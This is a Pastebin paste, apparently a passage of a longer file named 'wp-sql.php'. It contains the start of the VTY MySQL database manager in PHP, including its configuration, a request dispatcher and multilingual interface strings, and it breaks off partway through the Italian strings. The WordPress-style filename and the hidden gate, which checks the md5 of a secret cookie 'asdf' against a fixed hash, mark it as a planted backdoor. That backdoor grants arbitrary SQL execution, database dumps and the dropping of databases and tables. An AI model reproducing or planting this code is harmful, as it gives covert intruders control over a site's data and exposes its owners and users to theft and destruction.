PalmaSolutions

wp-sql.php

Jan 12th, 2018
1,076
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 152.36 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  
  5. VTY - Database Manager For Mysql
  6. ............................................................................
  7. : Version : 1.6 (18.04.2007) :
  8. : Language : English, Turkce, Italian, Spanish :
  9. : URL : http://www.kutukutu.com/vty/ :
  10. : Mail : [email protected] :
  11. : Developer : zall ([email protected]) :
  12. : :
  13. : :
  14. :...........................................................................
  15.  
  16.  
  17. LICENSE
  18. ............................................................................
  19. : GNU General Public License (GPL) :
  20. : http://www.kutukutu.com/vty/license.txt :
  21. : :
  22. : :
  23. :...........................................................................
  24.  
  25.  
  26. INSTALL
  27. ............................................................................
  28. : Only enter the correct connection informations below. :
  29. : :
  30. : :
  31. :...........................................................................
  32.  
  33. */
  34.  
  35. $ayar['LoginType'] = 'login';
  36. // "config" - Connect to server with connection information in this page.
  37. // "config_or_login" - Connect to server connection information in this page or with login screen.
  38. // "login" - Connect to server with only login screen.
  39.  
  40. $ayar['dbuser'] = ''; // YOUR MYSQL USER NAME
  41. $ayar['dbpass'] = ''; // YOUR MYSQL PASSWORD
  42. $ayar['dbhost'] = 'localhost'; // host name to connect to database server
  43.  
  44.  
  45. $ayar['dbname'] = ''; // Want to you only one database. Write its name or keep empry.
  46. $ayar['DefaultLang'] = 'en'; // default language like en,de,tr
  47. $ayar['db_type'] = 'mysql'; // "mysql";
  48. $ayar['PerPage'] = 25; // number of rows to show per page.
  49. $ayar['DbSecimi'] = 1; // is there "Choose Database"? 1 for true, 0 for false; -> default : 1
  50. $ayar['NfGoster'] = 1; // ( 1 to Show, 0 to hide ) numrows and numfields for tables; -> default : 1
  51. $ayar['NtGoster'] = 1; // ( 1 to Show, 0 to hide ) table number for databases; -> default : 1
  52.  
  53.  
  54.  
  55. ?>
  56. <?php
  57.  
  58. if(md5($_COOKIE['asdf'])=="4e6cc644ed5c0d1e946b468c33b29932"){
  59.  
  60. $vty = new vty($ayar);
  61.  
  62. $vty->baglan();
  63.  
  64. if($vty->baglanti==0):
  65. $vty->ust();
  66. $vty->girisForm();
  67. else:
  68. $vty->linkler();
  69. if($vty->ne=='' or $vty->ne == 'duzelt'){
  70. $vty->ust();
  71. $vty->db_secimi();
  72. if(!empty($vty->dbname) and !empty($vty->tablename)){
  73. $tablo = new tablo($vty);
  74. $tablo->asil_tablo();
  75. }else{
  76. $vty->db_seciniz_linkler();
  77. }
  78. }elseif($vty->ne=='sectim'){
  79. $vty->ust();
  80. $sct = new sectim($vty);
  81. if($sct->sdsduzelt<>''){
  82. $sct->_duzelt();
  83. } elseif($vty->nebu == "duzeltiyorum" ){
  84. $sct->_duzeltiyorum();
  85. }elseif($sct->sdssil<>''){
  86. $sct->_hepsiniSil();
  87. } elseif($vty->nebu == "bunlariduzelt" ){
  88. $sct->_bunlariDuzelt();
  89. }
  90. }else{
  91. $isl = new islemler($vty);
  92. switch($vty->ne):
  93.  
  94. case 'sesscikis':
  95. $isl->sesscikis();
  96. break;
  97.  
  98. case 'sqlgoster':
  99. $vty->ust();
  100. $isl->SqlGoster();
  101. $vty->tabloSonu();
  102. break;
  103.  
  104. case 'sqldosyadan':
  105. $isl->SqlDosyadan();
  106. break;
  107.  
  108. case 'dumpet':
  109. if($vty->nebu=='sim'){
  110. $isl->DumpEtSimdi();
  111. }else{
  112. $isl->DumpEt();
  113. }
  114. break;
  115.  
  116. case 'satirgir':
  117. $isl->satirgir();
  118. break;
  119.  
  120. case 'satirgir_yap':
  121. $isl->satirgir_yap();
  122. break;
  123.  
  124. case 'yeniTbEkle':
  125. $vty->ust();
  126. $isl->YeniTableEkle();
  127. break;
  128.  
  129. case 'yenitbekliyorum':
  130. if($vty->gp('fieldsayisi')){
  131. $vty->ust();
  132. $isl->YeniTableEkliyorum();
  133. }else{
  134. $vty->HataGoster("Empty Form!");
  135. }
  136. break;
  137. case 'yeniDbEkle':
  138. $isl->YeniDatabaseEkle();
  139. break;
  140. case 'yeniDbEkliyorum':
  141. $isl->YeniDatabaseEkliyorum();
  142. break;
  143. case 'dbSil':
  144. $isl->DatabaseSil();
  145. break;
  146. case 'tablo_bosalt':
  147. $isl->tablo_bosalt();
  148. break;
  149. case 'tablo_kaldir':
  150. $isl->tablo_kaldir();
  151. break;
  152. case 'lang':
  153. $isl->Language($vty->gp('fDilSubmit'));
  154. break;
  155. case 'docs':
  156. $vty->ust();
  157. $vty->tabloBasi3();
  158. $docs = new Docs($vty);
  159. $vty->tabloSonu();
  160. break;
  161. endswitch;
  162. }
  163. endif;
  164.  
  165. $vty->BitimIslemleri();
  166. exit;
  167. }
  168. ?>
  169. <?php
  170.  
  171. /**
  172. * class dug
  173. *
  174. * This class includes the language informations and the display informations
  175. */
  176. class dug
  177. {
  178. var $dil;
  179. var $uy;
  180. var $gor;
  181. var $dl;
  182. var $diller;
  183.  
  184. function dug($dl='en'){
  185. $this->dl = $dl;
  186. $this->dil();
  187. $this->gor();
  188. }
  189.  
  190. /**
  191. * gor()
  192. *
  193. * The color and size informations used in table and fonts ex.
  194. *
  195. */
  196. function gor(){
  197. $gor['table_width'] = '100%'; // $table_width width for <table>; -> default : '600'
  198. $gor['table_height'] = null; // $table_width width for <table>; -> default : '600'
  199. $gor['koyu_bgcolor'] = '#e9e9e9'; // bgcolor for menu ; -> default : '#eeeeee'
  200. $gor['enust_bgcolor'] = '#f0f0f0'; // bgcolor for menu ; -> default : '#f0f0f0'
  201. $gor['enalt_bgcolor'] = '#f8f8f8'; // bgcolor for menu ; -> sub tables : '#f7f7f7'
  202. $gor['ust_bgcolor'] = '#eeeeff'; // bgcolor for top; -> default : '#eeeeff'
  203. $gor['alt_bgcolor'] = '#f2f2f2'; // bgcolor for bottom; -> default : '#f9f9f9'
  204. $gor['bgcolor2'] = '#f6f6f6'; // bgcolor; -> default : '#f6f6f6'
  205. $gor['bgcolor3'] = '#f9f9f9'; // bgcolor; -> default : '#f9f9f9'
  206. $gor['ikirenklicolor1'] = '#f5f5f5'; // bgcolor for rows 1; -> default : '#f0f0f0'
  207. $gor['ikirenklicolor2'] = '#f9f9f9'; // bgcolor for rows 2; -> default : '#f7f7f7'
  208. $gor['cellspacing'] = '1'; // cellspacing for all tables; -> default : '1'
  209. $gor['cellpadding'] = '1'; // cellpading for all tables; -> default : '1'
  210. $gor['border'] = '0'; // border for all tabels; -> dafault : '0'
  211. $gor['input_size'] = '10'; // size for text input tags; -> dafault : '10'
  212. $gor['asilTbSagYan'] = '110';
  213. $gor['asilTbSolYan'] = '90';
  214. $gor['StrlenMax'] = '50'; // max chars for shorter view; -> dafault : '50'
  215. $this->gor = $gor;
  216. }
  217.  
  218. /**
  219. * diller()
  220. *
  221. * List of languages that vty support
  222. *
  223. */
  224. function diller(){
  225. return array(
  226. 'en' => 'English',
  227. 'tr' => 'T�rk�e',
  228. 'it' => 'Italiano',
  229. 'es' => 'Espa�ol'
  230. );
  231. }
  232.  
  233. /**
  234. * dil()
  235. *
  236. * Words that used in Vty interface, in languages listed diller() function.
  237. *
  238. */
  239. function dil(){
  240. if($this->dl=='tr'){
  241.  
  242. /**
  243. * T�rk�e
  244. */
  245. $dil['Charset'] = 'iso-8859-9'; //iso-8859-1
  246. $dil['dil'] = 'Dil'; //Language
  247. $dil['Duzelt'] = 'D�zelt'; //"Edit"
  248. $dil['Sil'] = 'Sil'; //"Delete"
  249. $dil['Kaydet'] = 'Kaydet'; //"Save"
  250. $dil['Gonder'] = 'G�nder'; //"Send"
  251. $dil['Reset'] = 'Temizle'; //"Reset"
  252. $dil['Tamam'] = 'Tamam'; //"OK"
  253. $dil['Uygula'] = 'Uygula'; //"Apply"
  254. $dil['Iptal'] = '�ptal'; //"Cancel"
  255. $dil['Yukari'] = 'Yukar�'; //"Up Level"
  256. $dil['Satir'] = 'Sat�r'; //"Line"
  257. $dil['Hata'] = 'Hata'; //"Error"
  258. $dil['HataAcklm'] = 'Hata a��klamas�'; //"Error desciription"
  259. $dil['MysqlHata'] = 'Mysql Hatas�'; //"Error desciription"
  260. $dil['Cevap'] = 'Cevap'; //"Answer"
  261. $dil['Evet'] = 'Evet'; //"Yes"
  262. $dil['Hayir'] = 'Hay�r'; //"No"
  263. $dil['Ekle'] = 'Ekle'; //"Add"
  264. $dil['Olustur'] = 'Olu�tur'; //"Create"
  265. $dil['Devam'] = 'Devam'; //"Next"
  266. $dil['Geri'] = 'Geri'; //"Back"
  267. $dil['Seciniz'] = 'Se�iniz'; //"Choose"
  268. $dil['YeniTbAdi'] = 'Yeni tablo ad�'; //"New table name"
  269. $dil['DbEkle'] = 'CREATE DATABASE'; //"CREATE DATABASE"
  270. $dil['TbEkle'] = 'CREATE TABLE'; //"CREATE TABLE"
  271. $dil['DbSil'] = 'DROP this DATABASE'; //"DROP this DATABASE"
  272. $dil['Gelistir'] = 'Geli�tir'; //"Develop"
  273. $dil['Ayarlar'] = 'Ayarlar'; //"Options"
  274. $dil['Yardim'] = 'Yard�m'; //"Help"
  275. $dil['VtYonet'] = 'MySQL i�in '.
  276. 'veritaban� y�neticisi'; //"Database manager for MySQL"
  277. $dil['Vt'] = 'Veritaban�'; //"Database"
  278. $dil['Dosyadan'] = 'Dosyadan'; //"From File"
  279. $dil['Tablo'] = 'Tablo'; //"Table"
  280. $dil['VtSeciniz'] = 'Ba�lamak i�in bir '.
  281. 'veritaban� se�iniz'; //"Choose a Database to Start"
  282. $dil['TbSeciniz'] = 'Tablo se�iniz'; //"Choose a Table"
  283. $dil['SayfaYnl'] = 'Sayfay� Yenile'; //"Refresh"
  284. $dil['Sorgu'] = 'Sorgu'; //"Query"
  285. $dil['Sql'] = 'Sql Sorgusu'; //"Sql Query"
  286. $dil['SqlSonucu'] = 'Sql Sonucu'; //"Sql Results"
  287. $dil['Buyut'] = 'B�y�t'; //"&lt; Longer &gt;"
  288. $dil['Uzat'] = '&lt; Uzat &gt;'; //"&lt; Longer &gt;"
  289. $dil['Kisalt'] = '&gt; K�salt &lt;'; //"&gt; Shorter &lt;"
  290. $dil['Hep'] = 'Hep'; //"All"
  291. $dil['Hic'] = 'Hi�'; //"None"
  292. $dil['EnAlt'] = 'En Alt'; //"Bottom"
  293. $dil['EnUst'] = 'En �st'; //"Top"
  294. $dil['VtAdi'] = 'Veritaban�Ad�'; //"DatabaseName"
  295. $dil['TbAdi'] = 'TabloAd�'; //"TableName"
  296. $dil['SutunSys'] = 'S�tun Say�s�'; //"Field Number"
  297. $dil['TbBosalt'] = 'Bu tabloyu bo�alt'; //"EMPTY this TABLE"
  298. $dil['TbKaldir'] = 'Bu tabloyu kald�r'; //"DROP this TABLE"
  299. $dil['DumpTables'] = 'D�k�m Olu�tur'; //"DUMP"
  300. $dil['SatirEkle'] = 'Yeni Sat�r Ekle'; //"Add New Row"
  301. $dil['SatirDzlt'] = 'Sat�rlar� D�zelt'; //"Edit Rows"
  302. $dil['DbHost'] = 'Host'; //"Host Name"
  303. $dil['DbKullAdi'] = 'Kullan�c� Ad�'; //"User Name"
  304. $dil['DbSifre'] = '�ifre'; //"Password"
  305. $dil['SessCikis'] = '��k��'; //"Session Log Out"
  306. $dil['db_type'] = 'Veritaban�'; //"Server Type"
  307. $dil['GrsHts'] = 'Ba�lant� Hatas�'; //"Connection Error"
  308. $dil['sayfalar'] = 'Sayfalar'; //"Pages"
  309. $dil['sayfa'] = 'Sayfa'; //"Page"
  310. $dil['SayfaBasi'] = 'Sayfa Ba��'; //"Rows per page"
  311. $dil['Yeni'] = 'Yeni'; //"New"
  312. $dil['AnaMenu'] = 'Ana Sayfa'; //"Main Menu"
  313. $dil['WellComeToVty'] = "VTY'ye Ho� Geldiniz"; //"Wellcome to Vty"
  314. $dil['About'] = "Hakk�nda"; //"about"
  315. $dil['Bugs'] = "Hatalar"; //"Bugs"
  316. $dil['DumpTable'] = 'Dump Table'; //"Dump Table"
  317. $dil['DumpBoth'] = '"Insert Into" ve "Create Table" bilgilerini dump et'; //Both of "Insert Into" and "Create Table"
  318. $dil['DumpCreateOnly'] = 'sadece "Create Table" bilgisi'; //"Create Table" info only
  319. $dil['DumpInsertOnly'] = '"Insert Into" bilgisi'; //"Insert Into" info only
  320. $dil['SaveAsFile'] = "Dosya olarak kaydet"; //"Save as file"
  321. $dil['DumpSubmit'] = "�imdi Dump Et"; //"Dump Now"
  322.  
  323. $uy['EminmisinCikis'] = "Oturumunuzu kapat�p ��kmak istedi�inizden emin misiniz?\\n";
  324. $uy['EminmisinSil'] = "Se�ti�iniz sat�r� silmek istedi�inizden emin misiniz?\\n";
  325. $uy['EminmisinBosalt'] = "Se�ti�iniz sat�r� bo�altmak istedi�inizden emin misiniz?";
  326. $uy['EminmisinKaldir'] = "Se�ti�iniz sat�r� kald�rmak istedi�inizden emin misiniz?";
  327. $uy['EminmisinDbSil'] = 'Emin misiniz?\\nSe�ti�iniz veritaban�n� kald�rmak istiyor musunuz?';
  328. $uy['KomutCalistirildi'] = 'Sorgu �al��t�r�ld�';
  329. $uy['KacSatirEtkilendi'] = 'sat�r etkilendi';
  330. $uy['loginBilgi'] = 'Database serverina ba�lanmak i�in kullan�c� ad�n�z� ve �ifresinizi giriniz. (Cookie abanl�.)';
  331. $uy['destekYok'] = 'Php ayarlar�n�z @DbType@ ile ilgili fonksiyonlar� desteklememektedir.';
  332. $uy['YeniDbOldu'] = '`@NewDbName@` veritaban� olu�turuldu.';
  333. $uy['YeniDbHata'] = 'Yeni `@NewDbName@` veritaban� olu�turulurken hata oldu.';
  334. $uy['YeniTbOldu'] = '`@NewTbName@` tablosu olu�turuldu.';
  335. $uy['YeniTbHata'] = 'Yeni `@NewTbName@` tablosu olu�turulurken hata oldu.';
  336. $uy['DbSilEminmi'] = 'Emin misiniz? `@DbName@` veritaban�n� kald�rmak istiyor musunuz?';
  337. $uy['DbSilHata'] = '`@DbName@` veritaban�n� kald�r�l�rken hata olu�tu.';
  338. $uy['DbSilOldu'] = '`@DbName@` veritaban� kald�r�ld�.';
  339. $uy['YeniSatirOldu'] = 'Yeni sat�r eklendi.';
  340. $uy['YeniSatirHata'] = 'Yeni sat�r eklerken hata olu�tu.';
  341. $uy['SatirlarDuzeldi'] = 'Se�ti�iniz sat�rlar d�zeltildi.';
  342. $uy['SatirlarDuzeltHata']= 'Se�ti�iniz sat�rlar d�zeltilirken hata olu�tu.';
  343. $uy['SatirDuzeldi'] = 'Se�ti�iniz sat�r d�zeltildi.';
  344. $uy['SatirDuzelHata'] = 'Se�ti�iniz sat�r d�zeltilirken hata olu�tu.';
  345. $uy['SatirSilindi'] = 'Se�ti�iniz sat�r silindi.';
  346. $uy['SatirSilHata'] = 'Se�ti�iniz sat�r silinirken hata olu�tu.';
  347. $uy['SatirNSilindi'] = 'Se�ti�iniz @number@ sat�r silindi.';
  348. $uy['SatirSilNHata'] = 'Se�ti�iniz sat�rlardan @number@ tanesi silinirken hata olustu.';
  349. $uy['OturumKapa'] = 'Oturum kapat�ld�.';
  350. $uy['OturumKaHata'] = 'Oturum kapat�l�rken hata olu�tu.';
  351. $uy['ToplamSatir'] = 'Sat�r Say�s�: @number@';
  352. $uy['SatirYok'] = 'Tabloda hi� sat�r yok.';
  353. $uy['BosaltEmin'] = '@DbTable@ tablosunu bo�altmak istedi�inizden istiyor musunuz?';
  354. $uy['BosaltOldu'] = '@DbTable@ tablosu bo�alt�ld�.';
  355. $uy['BosaltHata'] = '@DbTable@ tablosu bo�alt�l�rken hata olu�tu.';
  356. $uy['KaldirEmin'] = '@DbTable@ tablosunu kald�rmak istedi�inizden emin misiniz?';
  357. $uy['KaldirOldu'] = '@DbTable@ tablosu kald�r�ld�.';
  358. $uy['KaldirHata'] = '@DbTable@ tablosu kald�r�l�rken hata olu�tu.';
  359. $uy['YeniDilSec'] = 'Select your new language';
  360. $uy['CookieError'] = 'Taray�c�n�z �erezleri (cookie) kabul etmemektedir. L�tfen taray�c�n�z ayarlar�n� de�i�tiriniz.';
  361. $uy['CookieErrorBas'] = 'Cookie Hatas�';
  362.  
  363. }elseif($this->dl=='es'){
  364. /**
  365. * Espa�ol
  366. */
  367.  
  368. /// <TRANSLATE_HERE>
  369. $dil['Charset'] = 'iso-8859-1'; //iso-8859-1
  370. $dil['dil'] = 'Idioma'; //Language
  371. $dil['Duzelt'] = 'Editar'; //"Edit"
  372. $dil['Sil'] = 'Suprimir'; //"Delete"
  373. $dil['Kaydet'] = 'Guardar'; //"Save"
  374. $dil['Gonder'] = 'Enviar'; //"Send"
  375. $dil['Reset'] = 'Borrar'; //"Reset"
  376. $dil['Tamam'] = 'Aceptar'; //"OK"
  377. $dil['Uygula'] = 'Aplicar'; //"Apply"
  378. $dil['Iptal'] = 'Cancelar'; //"Cancel"
  379. $dil['Yukari'] = 'Nivel anterior'; //"Up Level"
  380. $dil['Satir'] = 'Linea'; //"Line"
  381. $dil['Hata'] = 'Error'; //"Error"
  382. $dil['HataAcklm'] = 'Error en Descripci�n'; //"Error desciription"
  383. $dil['MysqlHata'] = 'Mysql Error'; //"Mysql Error"
  384. $dil['Cevap'] = 'Respuesta'; //"Answer"
  385. $dil['Evet'] = 'Si'; //"Yes"
  386. $dil['Hayir'] = 'No'; //"No"
  387. $dil['Ekle'] = 'A�adir'; //"Add"
  388. $dil['Olustur'] = 'Crear'; //"Create"
  389. $dil['Devam'] = 'Siguiente'; //"Next"
  390. $dil['Geri'] = 'Atras'; //"Back"
  391. $dil['Seciniz'] = 'Seleccionar'; //"Choose"
  392. $dil['YeniTbAdi'] = 'Nombre Nueva Tabla'; //"New table name"
  393. $dil['DbEkle'] = 'Crear Base de Datos'; //"CREATE DATABASE"
  394. $dil['TbEkle'] = 'Crear Tabla'; //"CREATE TABLE"
  395. $dil['DbSil'] = 'Suprimir Base de Datos'; //"DROP this DATABASE"
  396. $dil['Gelistir'] = 'Desarrollar'; //"Develop"
  397. $dil['Ayarlar'] = 'Opciones'; //"Options"
  398. $dil['Yardim'] = 'Ayuda'; //"Help"
  399. $dil['VtYonet'] = 'Administrador de Bases de Datos MySQL'; //"Database manager for MySQL"
  400. $dil['Vt'] = 'Base de Datos'; //"Database"
  401. $dil['Dosyadan'] = 'Del Archivo'; //"From File"
  402. $dil['Tablo'] = 'Tabla'; //"Table"
  403. $dil['VtSeciniz'] = 'Seleccionar Base de Datos '; //"Choose a Database to Start"
  404. $dil['TbSeciniz'] = 'Seleccionar Tabla'; //"Choose a Table"
  405. $dil['SayfaYnl'] = 'Actualizar'; //"Refresh"
  406. $dil['Sorgu'] = 'Interrogaci�n'; //"Query"
  407. $dil['Sql'] = 'Interrogaci�n SQL'; //"Sql Query"
  408. $dil['SqlSonucu'] = 'Resultados SQL'; //"Sql Results"
  409. $dil['Buyut'] = 'Ampliar'; //"Larger"
  410. $dil['Uzat'] = '&lt; Mas Largo &gt;'; //"&lt; Longer &gt;"
  411. $dil['Kisalt'] = '&gt; Mas Corto &lt;'; //"&gt; Shorter &lt;"
  412. $dil['Hep'] = 'Todos'; //"All"
  413. $dil['Hic'] = 'Ninguno'; //"None"
  414. $dil['EnAlt'] = 'Abajo'; //"Bottom"
  415. $dil['EnUst'] = 'Arriba'; //"Top"
  416. $dil['VtAdi'] = 'Nombre de la Base de Datos'; //"DatabaseName"
  417. $dil['TbAdi'] = 'Nombre de la Tabla'; //"TableName"
  418. $dil['SutunSys'] = 'Numero de Campos'; //"Field Number"
  419. $dil['TbBosalt'] = 'Vaciar Tabla'; //"EMPTY this TABLE"
  420. $dil['TbKaldir'] = 'Suprimir Tabla'; //"DROP this TABLE"
  421. $dil['DumpTables'] = 'Visualizar Tabla'; //"DUMP"
  422. $dil['SatirEkle'] = 'A�adir Nueva Fila'; //"Add New Row"
  423. $dil['SatirDzlt'] = 'Editar Fila'; //"Edit Rows"
  424. $dil['DbHost'] = 'Nombre del Host'; //"Host Name"
  425. $dil['DbKullAdi'] = 'Nombre del Usuario'; //"User Name"
  426. $dil['DbSifre'] = 'Contrase�a'; //"Password"
  427. $dil['SessCikis'] = 'Desconectar'; //"Session Log Out"
  428. $dil['db_type'] = 'Tipo de Servidor'; //"Server Type"
  429. $dil['GrsHts'] = 'Error de Conexi�n'; //"Connection Error"
  430. $dil['sayfalar'] = 'P�ginas'; //"Pages"
  431. $dil['sayfa'] = 'P�gina'; //"Pages"
  432. $dil['SayfaBasi'] = 'Filas por p�gina'; //"Rows per page"
  433. $dil['Yeni'] = 'Nuevo'; //"New"
  434. $dil['AnaMenu'] = 'Menu Principal'; //"Main Menu"
  435. $dil['WellComeToVty'] = 'Bienvenido a Vty'; //"Wellcome to Vty"
  436. $dil['About'] = "Acerca de "; //"about"
  437. $dil['Bugs'] = "Errores"; //"Bugs"
  438. $dil['DumpTable'] = 'Visualizar Tabla'; //"Dump Table"
  439. $dil['DumpBoth'] = 'Ambos "Insertar en" y "Crear Tabla"'; //Both of "Insert Into" and "Create Table"
  440. $dil['DumpCreateOnly'] = '"Crear Tabla" solo info'; //"Create Table" info only
  441. $dil['DumpInsertOnly'] = '"Insertar en" solo info'; //"Insert Into" info only
  442. $dil['SaveAsFile'] = "Guardar como"; //"Save as file"
  443. $dil['DumpSubmit'] = "Visualizar ahora"; //"Dump Now"
  444.  
  445. $uy['EminmisinCikis'] = '�Esta seguro?\\n�Desea finalizar y salir?\\n';
  446. $uy['EminmisinSil'] = '�Esta seguro?\\n�Desea Suprimir el Registro Seleccionado?\\n';
  447. $uy['EminmisinBosalt'] = '�Esta seguro?\\n�Desea Vaciar la Tabla Seleccionada?\\n';
  448. $uy['EminmisinKaldir'] = '�Esta seguro?\\n�Desea Suprimir la Tabla Seleccionada?';
  449. $uy['EminmisinDbSil'] = '�Esta seguro?\\n�Desea Suprimir la Base de Datos Seleccionada?\\n';
  450. $uy['KomutCalistirildi'] = 'Interrogaci�n OK';
  451. $uy['KacSatirEtkilendi'] = 'filas seleccionadas';
  452. $uy['loginBilgi'] = 'Por favor Teclee su Nombre y Contrase�a para conectar. (Basado en Cookies)';
  453. $uy['destekYok'] = 'La configuraci�n PHP no soporta funciones @DbType@.';
  454. $uy['YeniDbOldu'] = 'La Base de Datos `@NewDbName@` ha sido Creada.';
  455. $uy['YeniDbHata'] = 'Ha occurrido un error al Crear la Base de Datos `@NewDbName@`.';
  456. $uy['YeniTbOldu'] = 'La Tabla `@NewTbName@` ha sido Creada.';
  457. $uy['YeniTbHata'] = 'Ha ocurrido un error al Crear la Tabla `@NewTbName@`.';
  458. $uy['DbSilEminmi'] = '�Esta seguro? �Desea Suprimir la Base de Datos `@DbName@`?';
  459. $uy['DbSilOldu'] = 'La Base de Datos `@DbName@` ha sido Suprimida.';
  460. $uy['DbSilHata'] = 'Ha ocurrido un error la Suprimir la Base de Datos `@DbName@`';
  461. $uy['YeniSatirOldu'] = 'Nuevo Registro A�adido.';
  462. $uy['YeniSatirHata'] = 'Ha ocurrido un error al A�adir un Registro.';
  463. $uy['SatirDuzeldi'] = 'El Registro seleccionado ha sido Actualizado.';
  464. $uy['SatirDuzelHata'] = 'Ha ocuurido un error al Actualizar el Registro.';
  465. $uy['SatirlarDuzeldi'] = 'Los Registros seleccionados han sido Actualizados.';
  466. $uy['SatirSilindi'] = 'El Registro seleccionado a sido Suprimido.';
  467. $uy['SatirSilHata'] = 'Ha ocurrido un error al Suprimir el Registro.';
  468. $uy['SatirNSilindi'] = '@number@ Registros seleccionados han sido Suprimidos.';
  469. $uy['SatirSilNHata'] = 'Ha ocurrido un error al Suprimir @number@ Registros seleccionados.';
  470. $uy['OturumKapa'] = 'Sesi�n cerrada';
  471. $uy['OturumKaHata'] = 'Ha ocurrido un error al cerrar la sesi�n.';
  472. $uy['ToplamSatir'] = 'NumReg: @number@';
  473. $uy['SatirYok'] = 'No hay Registros en la Tabla.';
  474. $uy['BosaltEmin'] = '�Desea Vaciar la Tabla @DbTable@?';
  475. $uy['BosaltOldu'] = 'Tabla @DbTable@ Vaciada.';
  476. $uy['BosaltHata'] = 'Ha ocurrido un error la Vaciar la Tabla @DbTable@.';
  477. $uy['KaldirEmin'] = '�Desea Suprimir la Tabla @DbTable@?';
  478. $uy['KaldirOldu'] = 'Tabla @DbTable@ Suprimida.';
  479. $uy['KaldirHata'] = 'Ha ocurrido un error al Suprimir la Tabla @DbTable@.';
  480. $uy['YeniDilSec'] = 'Selecione un nuevo idioma.';
  481. $uy['CookieError'] = 'El explorador no acepta cookies. Por favor activelas para continuar.';
  482. $uy['CookieErrorBas'] = 'Error en Cookies';
  483. /// <TRANSLATE_HERE END>
  484. }elseif($this->dl=='it'){
  485.  
  486. /**
  487. * italian
  488. */
  489. /// <TRANSLATE_HERE>
  490. $dil['Charset'] = 'iso-8859-1'; //iso-8859-1
  491. $dil['dil'] = 'Lingua'; //Language
  492. $dil['Duzelt'] = 'Modifica'; //"Edit"
  493. $dil['Sil'] = 'Cancella'; //"Delete"
  494. $dil['Kaydet'] = 'Salva'; //"Save"
  495. $dil['Gonder'] = 'Invia'; //"Send"
  496. $dil['Reset'] = 'Reset'; //"Reset"
  497. $dil['Tamam'] = 'Ok'; //"OK"
  498. $dil['Uygula'] = 'Applica'; //"Apply"
  499. $dil['Iptal'] = 'Cancella'; //"Cancel"
  500. $dil['Yukari'] = 'Livello superiore'; //"Up Level"
  501. $dil['Satir'] = 'Linea'; //"Line"
  502. $dil['Hata'] = 'Errore'; //"Error"
  503. $dil['HataAcklm'] = "Descrizione dell'errore"; //"Error desciription"
  504. $dil['MysqlHata'] = 'Mysql Error'; //"Mysql Error"
  505. $dil['Cevap'] = 'Risposta'; //"Answer"
  506. $dil['Evet'] = 'Si'; //"Yes"
  507. $dil['Hayir'] = 'No'; //"No"
  508. $dil['Ekle'] = 'Aggiungi'; //"Add"
  509. $dil['Olustur'] = 'Crea'; //"Create"
  510. $dil['Devam'] = 'Successivo'; //"Next"
  511. $dil['Geri'] = 'Indietro'; //"Back"
  512. $dil['Seciniz'] = 'Scegli'; //"Choose"
  513. $dil['YeniTbAdi'] = 'Nome della nuova tabella'; //"New table name"
  514. $dil['DbEkle'] = 'CREA DATABASE'; //"CREATE DATABASE"
  515. $dil['TbEkle'] = 'CREA TABELLA'; //"CREATE TABLE"
  516. $dil['DbSil'] = 'ELIMINA DATABASE'; //"DROP this DATABASE"
  517. $dil['Gelistir'] = 'Sviluppo'; //"Develop"
  518. $dil['Ayarlar'] = 'Opzioni'; //"Options"
  519. $dil['Yardim'] = 'Aiuto'; //"Help"
  520. $dil['VtYonet'] = 'Database Manager per MySQL';//"Database manager for MySQL"
  521. $dil['Vt'] = 'Database'; //"Database"
  522. $dil['Dosyadan'] = 'Dal File'; //"From File"
  523. $dil['Tablo'] = 'Tabella'; //"Table"
  524. $dil['VtSeciniz'] = 'Scegli un Database '.
  525. 'per iniziare'; //"Choose a Database to Start"
  526. $dil['TbSeciniz'] = 'Scegli una Tabella'; //"Choose a Table"
  527. $dil['SayfaYnl'] = 'Ricarica'; //"Refresh"
  528. $dil['Sorgu'] = 'Query'; //"Query"
  529. $dil['Sql'] = 'Query Sql'; //"Sql Query"
  530. $dil['SqlSonucu'] = 'Risultati Sql'; //"Sql Results"
  531. $dil['Buyut'] = 'Esteso'; //"Larger"
  532. $dil['Uzat'] = '&lt; Esteso &gt;'; //"&lt; Longer &gt;"
  533. $dil['Kisalt'] = '&gt; Ridotto &lt;'; //"&gt; Shorter &lt;"
  534. $dil['Hep'] = 'Tutto'; //"All"
  535. $dil['Hic'] = 'Nulla'; //"None"
  536. $dil['EnAlt'] = 'Gi�'; //"Bottom"
  537. $dil['EnUst'] = 'Su'; //"Top"
  538. $dil['VtAdi'] = 'Nome del Database'; //"DatabaseName"
  539. $dil['TbAdi'] = 'Nome della Tabella'; //"TableName"
  540. $dil['SutunSys'] = 'Numero dei campi'; //"Field Number"
  541. $dil['TbBosalt'] = 'SVUOTA questa Tabella'; //"EMPTY this TABLE"
  542. $dil['TbKaldir'] = 'ELIMINA questa Tabella'; //"DROP this TABLE"
  543. $dil['DumpTables'] = 'Esporta Tabella'; //"DUMP"
  544. $dil['SatirEkle'] = 'Aggiungi una nuova Riga'; //"Add New Row"
  545. $dil['SatirDzlt'] = 'Modifica la Riga'; //"Edit Rows"
  546. $dil['DbHost'] = 'Nome Host'; //"Host Name"
  547. $dil['DbKullAdi'] = 'User Name'; //"User Name"
  548. $dil['DbSifre'] = 'Password'; //"Password"
  549. $dil['SessCikis'] = 'Log Out'; //"Session Log Out"
  550. $dil['db_type'] = 'Server Type'; //"Server Type"
  551. $dil['GrsHts'] = 'Errore di Connessione'; //"Connection Error"
  552. $dil['sayfalar'] = 'Pagine'; //"Pages"
  553. $dil['sayfa'] = 'Pagina'; //"Pages"
  554. $dil['SayfaBasi'] = 'Righe per pagina'; //"Rows per page"
  555. $dil['Yeni'] = 'Nuovo'; //"New"
  556. $dil['AnaMenu'] = 'Menu'; //"Main Menu"
  557. $dil['WellComeToVty'] = 'Benvenuto in Vty'; //"Wellcome to Vty"
  558. $dil['About'] = "A proposito"; //"about"
  559. $dil['Bugs'] = "Bugs"; //"Bugs"
  560. $dil['DumpTable'] = 'Esporta Tabella'; //"Dump Table"
  561. $dil['DumpBoth'] = 'Esporta con "Insert Into" e "Create Table"'; //Both of "Insert Into" and "Create Table"
  562. $dil['DumpCreateOnly'] = 'Esporta solo con "Create Table"'; //"Create Table" info only
  563. $dil['DumpInsertOnly'] = 'Esposta solo con "Insert Into"'; //"Insert Into" info only
  564. $dil['SaveAsFile'] = "Esporta in un file esterno."; //"Save as file"
  565. $dil['DumpSubmit'] = "Esporta"; //"Dump Now"
  566.  
